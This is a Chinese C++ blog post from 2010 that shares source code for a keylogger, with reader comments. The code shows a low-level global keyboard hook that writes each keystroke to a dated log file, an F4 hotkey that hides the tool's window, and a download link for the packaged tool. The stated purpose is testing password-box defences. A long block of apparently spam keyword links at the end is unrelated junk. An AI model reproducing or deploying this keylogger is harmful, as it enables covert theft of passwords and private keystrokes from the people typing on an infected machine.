• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Pencil.C++

            更新速度可能會晚于http://blog.csdn.net/bilaopao

              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理 ::
              34 隨筆 :: 0 文章 :: 40 評論 :: 0 Trackbacks

                最近在研究反監聽密碼框的開發。  做這個東西是為了測試密碼框的效果。 用的是WH_KEYBOARD_LL鉤子。 我暫時還沒找到防止底層鍵盤全局鉤子的方法。QQ的密碼可以用這種方法監聽到,但是不是明文。不知道它是怎么做到的。
                我也給這個工具做了個隱藏鍵 F4  。
                開發工具是VS2008  
                 


            鉤子回調函數中的代碼:

             1LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
             2                                      WPARAM wParam,
             3                                      LPARAM lParam
             4                                      )
             5{
             6    PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
             7    if (nCode<0)
             8    {
             9        return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            10    }

            11    if (HC_ACTION==nCode)
            12    {
            13        if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
            14        {
            15            if (VK_F4==kbhs->vkCode)
            16            {
            17                //先判斷窗口是show or hide
            18                m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
            19                if (IsWindowVisible(m_hWnd2))
            20                {
            21                    ShowWindow(m_hWnd2,SW_HIDE);
            22                    return 0;
            23                }

            24                else
            25                {
            26                    if (NULL==m_hWnd2)
            27                    {
            28                        AfxMessageBox(L"查找失敗!");
            29                        return 0;
            30                    }

            31                    ShowWindow(m_hWnd2,SW_RESTORE);
            32                    //UpdateWindow(m_hWnd);
            33                    BringWindowToTop(m_hWnd);
            34                    SetForegroundWindow(m_hWnd);
            35                    return 1;
            36                }

            37            }

            38
            39                char c[1]; 
            40
            41                c[0]=kbhs->vkCode; 
            42
            43                SaveLog(c); 
            44        }

            45    }

            46    return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            47}



            字符保存的代碼:

             1void SaveLog(char* c)
             2{
             3    //AfxMessageBox(L"進入存儲程序");
             4    CTime tm=CTime::GetCurrentTime(); 
             5
             6    CString name; 
             7    TCHAR* szPath[MAX_PATH];
             8    ::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
             9    CString path=(LPTSTR)szPath;
            10    path.Replace(L"\\LogerDll.dll",L"");
            11    name.Format(L"\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
            12    path+=name;
            13    
            14    
            15
            16    CFile file; 
            17
            18    if(!file.Open(path,CFile::modeReadWrite)) 
            19
            20    
            21
            22        file.Open(path,CFile::modeCreate|CFile::modeReadWrite); 
            23
            24    }
             
            25
            26    file.SeekToEnd(); 
            27
            28    file.Write(c,1); 
            29
            30    file.Close(); 
            31
            32
            33}




            下載地址:http://www.shnenglu.com/Files/pencil/KeyboardLoger.rar
               

            posted on 2010-01-28 08:43 Pencil.C++ 閱讀(3606) 評論(9)  編輯 收藏 引用 所屬分類: VC

            評論

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 11:33 lo
            qq2009不停的setwindowhook 以保證自己處于hook鏈頂端來加密
            另外使用模擬按鍵來干擾  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:16 test
            你LogerDll.dll 呢?  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:17 Pencil.C++
            在里面了大哥。@test
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:18 Pencil.C++
            謝謝您的分享,我試試。@lo
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:31 test
            大哥 我看到了啊 你好咧啊,我在google閱讀器里看到你的啊,不過你是壞寧,你想干壞事,嘎嘎~  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:32 Pencil.C++
            這個只是個雛形,沒有什么實用意義。呵呵。@test
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:34 test
            好玩唄,  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-29 08:44 Pencil.C++
            實際上,QQ并不是這么做的,最起碼現在的版本不是。@lo
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-29 12:29 zhaoyg
            學習了  回復  更多評論
              

            久久久久18| 国产精品一久久香蕉国产线看| 久久www免费人成看片| 91超碰碰碰碰久久久久久综合| 久久亚洲欧美国产精品| 国产一区二区久久久| 久久久久综合中文字幕| 久久精品国产72国产精福利| 麻豆精品久久精品色综合| 精品久久久久久中文字幕人妻最新| 国产成人综合久久精品红| 香蕉久久AⅤ一区二区三区| 欧美久久久久久午夜精品| 很黄很污的网站久久mimi色| 久久久国产一区二区三区| 久久99精品久久久久久噜噜| 久久久艹| 久久精品综合网| 亚洲国产精品无码久久一区二区| 久久久久青草线蕉综合超碰| 久久99久久99精品免视看动漫| 国产美女亚洲精品久久久综合| 亚洲AV无码1区2区久久| 久久久久99精品成人片欧美| 成人国内精品久久久久影院| 久久精品成人免费网站| 久久久久国产亚洲AV麻豆| 久久人人爽人人爽人人爽| 无码人妻久久一区二区三区| 国内精品久久久久影院免费| 久久精品这里只有精99品| 亚洲欧美一级久久精品| 久久婷婷五月综合色高清| 久久婷婷综合中文字幕| 亚洲欧美国产精品专区久久| 亚洲AV乱码久久精品蜜桃| 亚洲午夜久久影院| 久久精品国产AV一区二区三区| 国产精品久久久久无码av| 亚洲午夜无码久久久久小说| 99久久成人国产精品免费 |